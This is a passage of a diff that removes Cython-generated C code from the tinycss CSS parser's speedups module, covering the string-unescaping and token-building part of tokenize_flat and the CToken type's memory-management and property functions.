"tinycss/speedups.pyx":154 - * if value and value[0] in '"\'': - * value = value[1:-1] # Remove quotes - * value = newline_unescape(value) # <<<<<<<<<<<<<< - * value = simple_unescape(value) - * value = unicode_unescape(value) - */ - __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 154; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_9)); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __pyx_t_5 = PyObject_Call(__pyx_v_newline_unescape, ((PyObject *)__pyx_t_9), NULL); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 154; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(((PyObject *)__pyx_t_9)); __pyx_t_9 = 0; - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_5; - __pyx_t_5 = 0; - goto __pyx_L18; - } - __pyx_L18:; - - /* "tinycss/speedups.pyx":155 - * value = value[1:-1] # Remove quotes - * value = newline_unescape(value) - * value = simple_unescape(value) # <<<<<<<<<<<<<< - * value = unicode_unescape(value) - * elif type_ == STRING: - */ - __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 155; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_5)); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __pyx_t_9 = PyObject_Call(__pyx_v_simple_unescape, ((PyObject *)__pyx_t_5), NULL); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 155; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(((PyObject *)__pyx_t_5)); __pyx_t_5 = 0; - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":156 - * value = newline_unescape(value) - * value = simple_unescape(value) - * value = unicode_unescape(value) # <<<<<<<<<<<<<< - * elif type_ == STRING: - * value = css_value[1:-1] # Remove quotes - */ - __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 156; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_9)); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __pyx_t_5 = PyObject_Call(__pyx_v_unicode_unescape, ((PyObject *)__pyx_t_9), NULL); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 156; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(((PyObject *)__pyx_t_9)); __pyx_t_9 = 0; - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_5; - __pyx_t_5 = 0; - goto __pyx_L16; - } - - /* "tinycss/speedups.pyx":157 - * value = simple_unescape(value) - * value = unicode_unescape(value) - * elif type_ == STRING: # <<<<<<<<<<<<<< - * value = css_value[1:-1] # Remove quotes - * value = newline_unescape(value) - */ - __pyx_t_13 = (__pyx_v_type_ == __pyx_v_STRING); - if (__pyx_t_13) { - - /* "tinycss/speedups.pyx":158 - * value = unicode_unescape(value) - * elif type_ == STRING: - * value = css_value[1:-1] # Remove quotes # <<<<<<<<<<<<<< - * value = newline_unescape(value) - * value = simple_unescape(value) - */ - __pyx_t_5 = __Pyx_PySequence_GetSlice(__pyx_v_css_value, 1, -1); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 158; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __Pyx_XDECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_5; - __pyx_t_5 = 0; - - /* "tinycss/speedups.pyx":159 - * elif type_ == STRING: - * value = css_value[1:-1] # Remove quotes - * value = newline_unescape(value) # <<<<<<<<<<<<<< - * value = simple_unescape(value) - * value = unicode_unescape(value) - */ - __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 159; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_5)); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __pyx_t_9 = PyObject_Call(__pyx_v_newline_unescape, ((PyObject *)__pyx_t_5), NULL); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 159; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(((PyObject *)__pyx_t_5)); __pyx_t_5 = 0; - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":160 - * value = css_value[1:-1] # Remove quotes - * value = newline_unescape(value) - * value = simple_unescape(value) # <<<<<<<<<<<<<< - * value = unicode_unescape(value) - * # BAD_STRING can only be one of: - */ - __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 160; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_9)); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __pyx_t_5 = PyObject_Call(__pyx_v_simple_unescape, ((PyObject *)__pyx_t_9), NULL); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 160; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(((PyObject *)__pyx_t_9)); __pyx_t_9 = 0; - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_5; - __pyx_t_5 = 0; - - /* "tinycss/speedups.pyx":161 - * value = newline_unescape(value) - * value = simple_unescape(value) - * value = unicode_unescape(value) # <<<<<<<<<<<<<< - * # BAD_STRING can only be one of: - * # * Unclosed string at the end of the stylesheet: - */ - __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 161; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_5)); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __pyx_t_9 = PyObject_Call(__pyx_v_unicode_unescape, ((PyObject *)__pyx_t_5), NULL); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 161; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(((PyObject *)__pyx_t_5)); __pyx_t_5 = 0; - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_9; - __pyx_t_9 = 0; - goto __pyx_L16; - } - - /* "tinycss/speedups.pyx":170 - * # Leave it as a BAD_STRING, dont bother parsing it. - * # See http://www.w3.org/TR/CSS21/syndata.html#parsing-errors - * elif type_ == BAD_STRING and next_pos == source_len: # <<<<<<<<<<<<<< - * type_name = 'STRING' - * value = css_value[1:] # Remove quote - */ - __pyx_t_13 = (__pyx_v_type_ == __pyx_v_BAD_STRING); - if (__pyx_t_13) { - __pyx_t_14 = (__pyx_v_next_pos == __pyx_v_source_len); - __pyx_t_3 = __pyx_t_14; - } else { - __pyx_t_3 = __pyx_t_13; - } - if (__pyx_t_3) { - - /* "tinycss/speedups.pyx":171 - * # See http://www.w3.org/TR/CSS21/syndata.html#parsing-errors - * elif type_ == BAD_STRING and next_pos == source_len: - * type_name = 'STRING' # <<<<<<<<<<<<<< - * value = css_value[1:] # Remove quote - * value = newline_unescape(value) - */ - __Pyx_INCREF(((PyObject *)__pyx_n_u__STRING)); - __Pyx_DECREF(__pyx_v_type_name); - __pyx_v_type_name = ((PyObject *)__pyx_n_u__STRING); - - /* "tinycss/speedups.pyx":172 - * elif type_ == BAD_STRING and next_pos == source_len: - * type_name = 'STRING' - * value = css_value[1:] # Remove quote # <<<<<<<<<<<<<< - * value = newline_unescape(value) - * value = simple_unescape(value) - */ - __pyx_t_9 = __Pyx_PySequence_GetSlice(__pyx_v_css_value, 1, PY_SSIZE_T_MAX); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 172; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_XDECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":173 - * type_name = 'STRING' - * value = css_value[1:] # Remove quote - * value = newline_unescape(value) # <<<<<<<<<<<<<< - * value = simple_unescape(value) - * value = unicode_unescape(value) - */ - __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 173; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_9)); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __pyx_t_5 = PyObject_Call(__pyx_v_newline_unescape, ((PyObject *)__pyx_t_9), NULL); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 173; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(((PyObject *)__pyx_t_9)); __pyx_t_9 = 0; - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_5; - __pyx_t_5 = 0; - - /* "tinycss/speedups.pyx":174 - * value = css_value[1:] # Remove quote - * value = newline_unescape(value) - * value = simple_unescape(value) # <<<<<<<<<<<<<< - * value = unicode_unescape(value) - * else: - */ - __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 174; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_5)); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __pyx_t_9 = PyObject_Call(__pyx_v_simple_unescape, ((PyObject *)__pyx_t_5), NULL); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 174; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(((PyObject *)__pyx_t_5)); __pyx_t_5 = 0; - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":175 - * value = newline_unescape(value) - * value = simple_unescape(value) - * value = unicode_unescape(value) # <<<<<<<<<<<<<< - * else: - * value = css_value - */ - __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 175; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_9)); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __pyx_t_5 = PyObject_Call(__pyx_v_unicode_unescape, ((PyObject *)__pyx_t_9), NULL); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 175; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(((PyObject *)__pyx_t_9)); __pyx_t_9 = 0; - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_5; - __pyx_t_5 = 0; - goto __pyx_L16; - } - /*else*/ { - - /* "tinycss/speedups.pyx":177 - * value = unicode_unescape(value) - * else: - * value = css_value # <<<<<<<<<<<<<< - * token = CToken(type_name, css_value, value, unit, line, column) - * tokens.append(token) - */ - __Pyx_INCREF(__pyx_v_css_value); - __Pyx_XDECREF(__pyx_v_value); - __pyx_v_value = __pyx_v_css_value; - } - __pyx_L16:; - - /* "tinycss/speedups.pyx":178 - * else: - * value = css_value - * token = CToken(type_name, css_value, value, unit, line, column) # <<<<<<<<<<<<<< - * tokens.append(token) - * - */ - __pyx_t_5 = PyInt_FromSsize_t(__pyx_v_line); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 178; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __pyx_t_9 = PyInt_FromSsize_t(__pyx_v_column); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 178; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __pyx_t_1 = PyTuple_New(6); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 178; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_1)); - __Pyx_INCREF(__pyx_v_type_name); - PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_v_type_name); - __Pyx_GIVEREF(__pyx_v_type_name); - __Pyx_INCREF(__pyx_v_css_value); - PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_v_css_value); - __Pyx_GIVEREF(__pyx_v_css_value); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __Pyx_INCREF(__pyx_v_unit); - PyTuple_SET_ITEM(__pyx_t_1, 3, __pyx_v_unit); - __Pyx_GIVEREF(__pyx_v_unit); - PyTuple_SET_ITEM(__pyx_t_1, 4, __pyx_t_5); - __Pyx_GIVEREF(__pyx_t_5); - PyTuple_SET_ITEM(__pyx_t_1, 5, __pyx_t_9); - __Pyx_GIVEREF(__pyx_t_9); - __pyx_t_5 = 0; - __pyx_t_9 = 0; - __pyx_t_9 = PyObject_Call(((PyObject *)((PyObject*)__pyx_ptype_7tinycss_8speedups_CToken)), ((PyObject *)__pyx_t_1), NULL); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 178; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(((PyObject *)__pyx_t_1)); __pyx_t_1 = 0; - __Pyx_XDECREF(((PyObject *)__pyx_v_token)); - __pyx_v_token = ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_t_9); - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":179 - * value = css_value - * token = CToken(type_name, css_value, value, unit, line, column) - * tokens.append(token) # <<<<<<<<<<<<<< - * - * pos = next_pos - */ - if (unlikely(((PyObject *)__pyx_v_tokens) == Py_None)) { - PyErr_Format(PyExc_AttributeError, "'NoneType' object has no attribute '%s'", "append"); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 179; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - } - __pyx_t_16 = PyList_Append(__pyx_v_tokens, ((PyObject *)__pyx_v_token)); if (unlikely(__pyx_t_16 == -1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 179; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - goto __pyx_L15; - } - __pyx_L15:; - - /* "tinycss/speedups.pyx":181 - * tokens.append(token) - * - * pos = next_pos # <<<<<<<<<<<<<< - * newlines = list(find_newlines(css_value)) - * if newlines: - */ - __pyx_v_pos = __pyx_v_next_pos; - - /* "tinycss/speedups.pyx":182 - * - * pos = next_pos - * newlines = list(find_newlines(css_value)) # <<<<<<<<<<<<<< - * if newlines: - * line += len(newlines) - */ - __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 182; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_9)); - __Pyx_INCREF(__pyx_v_css_value); - PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_v_css_value); - __Pyx_GIVEREF(__pyx_v_css_value); - __pyx_t_1 = PyObject_Call(__pyx_v_find_newlines, ((PyObject *)__pyx_t_9), NULL); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 182; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(((PyObject *)__pyx_t_9)); __pyx_t_9 = 0; - __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 182; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_9)); - PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_1); - __Pyx_GIVEREF(__pyx_t_1); - __pyx_t_1 = 0; - __pyx_t_1 = PyObject_Call(((PyObject *)((PyObject*)(&PyList_Type))), ((PyObject *)__pyx_t_9), NULL); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 182; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(((PyObject *)__pyx_t_9)); __pyx_t_9 = 0; - __Pyx_XDECREF(((PyObject *)__pyx_v_newlines)); - __pyx_v_newlines = ((PyObject*)__pyx_t_1); - __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":183 - * pos = next_pos - * newlines = list(find_newlines(css_value)) - * if newlines: # <<<<<<<<<<<<<< - * line += len(newlines) - * # Add 1 to have lines start at column 1, not 0 - */ - __pyx_t_3 = (((PyObject *)__pyx_v_newlines) != Py_None) && (PyList_GET_SIZE(((PyObject *)__pyx_v_newlines)) != 0); - if (__pyx_t_3) { - - /* "tinycss/speedups.pyx":184 - * newlines = list(find_newlines(css_value)) - * if newlines: - * line += len(newlines) # <<<<<<<<<<<<<< - * # Add 1 to have lines start at column 1, not 0 - * column = length - newlines[-1].end() + 1 - */ - if (unlikely(((PyObject *)__pyx_v_newlines) == Py_None)) { - PyErr_SetString(PyExc_TypeError, "object of type 'NoneType' has no len()"); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 184; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - } - __pyx_t_2 = PyList_GET_SIZE(((PyObject *)__pyx_v_newlines)); - __pyx_v_line = (__pyx_v_line + __pyx_t_2); - - /* "tinycss/speedups.pyx":186 - * line += len(newlines) - * # Add 1 to have lines start at column 1, not 0 - * column = length - newlines[-1].end() + 1 # <<<<<<<<<<<<<< - * else: - * column += length - */ - __pyx_t_1 = PyInt_FromSsize_t(__pyx_v_length); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 186; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_9 = __Pyx_GetItemInt_List(((PyObject *)__pyx_v_newlines), -1, sizeof(long), PyInt_FromLong); if (!__pyx_t_9) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 186; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __pyx_t_5 = PyObject_GetAttr(__pyx_t_9, __pyx_n_s__end); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 186; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_9 = PyObject_Call(__pyx_t_5, ((PyObject *)__pyx_empty_tuple), NULL); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 186; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = PyNumber_Subtract(__pyx_t_1, __pyx_t_9); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 186; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_9 = PyNumber_Add(__pyx_t_5, __pyx_int_1); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 186; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_9); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 186; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_v_column = __pyx_t_2; - goto __pyx_L19; - } - /*else*/ { - - /* "tinycss/speedups.pyx":188 - * column = length - newlines[-1].end() + 1 - * else: - * column += length # <<<<<<<<<<<<<< - * return tokens - */ - __pyx_v_column = (__pyx_v_column + __pyx_v_length); - } - __pyx_L19:; - } - - /* "tinycss/speedups.pyx":189 - * else: - * column += length - * return tokens # <<<<<<<<<<<<<< - */ - __Pyx_XDECREF(__pyx_r); - __Pyx_INCREF(((PyObject *)__pyx_v_tokens)); - __pyx_r = ((PyObject *)__pyx_v_tokens); - goto __pyx_L0; - - __pyx_r = Py_None; __Pyx_INCREF(Py_None); - goto __pyx_L0; - __pyx_L1_error:; - __Pyx_XDECREF(__pyx_t_1); - __Pyx_XDECREF(__pyx_t_5); - __Pyx_XDECREF(__pyx_t_6); - __Pyx_XDECREF(__pyx_t_7); - __Pyx_XDECREF(__pyx_t_9); - __Pyx_XDECREF(__pyx_t_10); - __Pyx_AddTraceback("tinycss.speedups.tokenize_flat", __pyx_clineno, __pyx_lineno, __pyx_filename); - __pyx_r = NULL; - __pyx_L0:; - __Pyx_XDECREF(__pyx_v_tokens_dispatch); - __Pyx_XDECREF(__pyx_v_compiled_token_indexes); - __Pyx_XDECREF(__pyx_v_compiled_tokens); - __Pyx_XDECREF(__pyx_v_unicode_unescape); - __Pyx_XDECREF(__pyx_v_newline_unescape); - __Pyx_XDECREF(__pyx_v_simple_unescape); - __Pyx_XDECREF(__pyx_v_find_newlines); - __Pyx_XDECREF((PyObject *)__pyx_v_token); - __Pyx_XDECREF(__pyx_v_tokens); - __Pyx_XDECREF(__pyx_v_char); - __Pyx_XDECREF(__pyx_v_type_name); - __Pyx_XDECREF(__pyx_v_css_value); - __Pyx_XDECREF(__pyx_v_codepoint); - __Pyx_XDECREF(__pyx_v_regexp); - __Pyx_XDECREF(__pyx_v_match); - __Pyx_XDECREF(__pyx_v_unit); - __Pyx_XDECREF(__pyx_v_value); - __Pyx_XDECREF(__pyx_v_newlines); - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static PyObject *__pyx_tp_new_7tinycss_8speedups_CToken(PyTypeObject *t, PyObject *a, PyObject *k) { - struct __pyx_obj_7tinycss_8speedups_CToken *p; - PyObject *o = (*t->tp_alloc)(t, 0); - if (!o) return 0; - p = ((struct __pyx_obj_7tinycss_8speedups_CToken *)o); - p->type = Py_None; Py_INCREF(Py_None); - p->_as_css = Py_None; Py_INCREF(Py_None); - p->value = Py_None; Py_INCREF(Py_None); - p->unit = Py_None; Py_INCREF(Py_None); - return o; -} - -static void __pyx_tp_dealloc_7tinycss_8speedups_CToken(PyObject *o) { - struct __pyx_obj_7tinycss_8speedups_CToken *p = (struct __pyx_obj_7tinycss_8speedups_CToken *)o; - Py_XDECREF(p->type); - Py_XDECREF(p->_as_css); - Py_XDECREF(p->value); - Py_XDECREF(p->unit); - (*Py_TYPE(o)->tp_free)(o); -} - -static int __pyx_tp_traverse_7tinycss_8speedups_CToken(PyObject *o, visitproc v, void *a) { - int e; - struct __pyx_obj_7tinycss_8speedups_CToken *p = (struct __pyx_obj_7tinycss_8speedups_CToken *)o; - if (p->type) { - e = (*v)(p->type, a); if (e) return e; - } - if (p->_as_css) { - e = (*v)(p->_as_css, a); if (e) return e; - } - if (p->value) { - e = (*v)(p->value, a); if (e) return e; - } - if (p->unit) { - e = (*v)(p->unit, a); if (e) return e; - } - return 0; -} - -static int __pyx_tp_clear_7tinycss_8speedups_CToken(PyObject *o) { - struct __pyx_obj_7tinycss_8speedups_CToken *p = (struct __pyx_obj_7tinycss_8speedups_CToken *)o; - PyObject* tmp; - tmp = ((PyObject*)p->type); - p->type = Py_None; Py_INCREF(Py_None); - Py_XDECREF(tmp); - tmp = ((PyObject*)p->_as_css); - p->_as_css = Py_None; Py_INCREF(Py_None); - Py_XDECREF(tmp); - tmp = ((PyObject*)p->value); - p->value = Py_None; Py_INCREF(Py_None); - Py_XDECREF(tmp); - tmp = ((PyObject*)p->unit); - p->unit = Py_None; Py_INCREF(Py_None); - Py_XDECREF(tmp); - return 0; -} - -static PyObject *__pyx_getprop_7tinycss_8speedups_6CToken_type(PyObject *o, void *x) { - return __pyx_pf_7tinycss_8speedups_6CToken_4type___get__(o); -} - -static int __pyx_setprop_7tinycss_8speedups_6CToken_type(PyObject *o, PyObject *v, void *x) { - if (v) { - return __pyx_pf_7tinycss_8speedups_6CToken_4type_1__set__(o, v); - } - else { - return __pyx_pf_7tinycss_8speedups_6CToken_4type_2__del__(o); - } -} - -static PyObject *__pyx_getprop_7tinycss_8speedups_6CToken__as_css(PyObject *o, void *x) { - return __pyx_pf_7tinycss_8speedups_6CToken_7_as_css___get__(o); -} - -static int __pyx_setprop_7tinycss_8speedups_6CToken__as_css(PyObject *o, PyObject *v, void *x) { - if (v) { - return __pyx_pf_7tinycss_8speedups_6CToken_7_as_css_1__set__(o, v); - } - else { - return __pyx_pf_7tinycss_8speedups_6CToken_7_as_css_2__del__(o); - } -} - -static PyObject *__pyx_getprop_7tinycss_8speedups_6CToken_value(PyObject *o, void *x) { - return __pyx_pf_7tinycss_8speedups_6CToken_5value___get__(o); -} - -static int __pyx_setprop_7tinycss_8speedups_6CToken_value(PyObject *o, PyObject *v, void *x) { - if (v) { - return __pyx_pf_7tinycss_8speedups_6CToken_5value_1__set__(o, v); - } - else { - return __pyx_pf_7tinycss_8speedups_6CToken_5value_2__del__(o); - } -} - -static PyObject *__pyx_getprop_7tinycss_8speedups_6CToken_unit(PyObject *o, void *x) { - return __pyx_pf_7tinycss_8speedups_6CToken_4unit___get__(o); -} - -static int __pyx_setprop_7tinycss_8speedups_6CToken_unit(PyObject *o, PyObject *v, void *x) { - if (v) { - return __pyx_pf_7tinycss_8speedups_6CToken_4unit_1__set__(o, v); - } - else { - return __pyx_pf_7tinycss_8speedups_6CToken_4unit_2__del__(o); - } -} - -static PyObject *__pyx_getprop_7tinycss_8speedups_6CToken_line(PyObject *o, void *x) { - return __pyx_pf_7tinycss_8speedups_6CToken_4line___get__(o); -} - -static int __pyx_setprop_7tinycss_8speedups_6CToken_line(PyObject *o, PyObject *v, void *x) { - if (v) { - return __pyx_pf_7tinycss_8speedups_6CToken_4line_1__set__(o, v); - } - else { - PyErr_SetString(PyExc_NotImplementedError, "__del__"); - return -1; - } -} - -static PyObject *__pyx_getprop_7tinycss_8speedups_6CToken_column(PyObject *o, void *x) { - return __pyx_pf_7tinycss_8speedups_6CToken_6column___get__(o); -} - -static int __pyx_setprop_7tinycss_8speedups_6CToken_column(PyObject *o, PyObject *v, void *x) { - if (v) { - return __pyx_pf_7tinycss_8speedups_6CToken_6column_1__set__(o, v); - } - else { - PyErr_SetString(PyExc_NotImplementedError, "__del__"); - return -1; - } -} - -static PyMethodDef __pyx_methods_7tinycss_8speedups_CToken[] = { - {__Pyx_NAMESTR("as_css"), (PyCFunction)__pyx_pf_7tinycss_8speedups_6CToken_1as_css, METH_NOARGS, __Pyx_DOCSTR(__pyx_doc_7tinycss_8speedups_6CToken_1as_css)}, - {0, 0, 0, 0} -}; - -static struct PyGetSetDef __pyx_getsets_7tinycss_8speedups_CToken[] = { - {(char *)"type", __pyx_getprop_7tinycss_8speedups_6CToken_type, __pyx_setprop_7tinycss_8speedups_6CToken_type, 0, 0}, - {(char *)"_as_css", __pyx_getprop_7tinycss_8speedups_6CToken__as_css, __pyx_setprop_7tinycss_8speedups_6CToken__as_css, 0, 0}, - {(char *)"value", 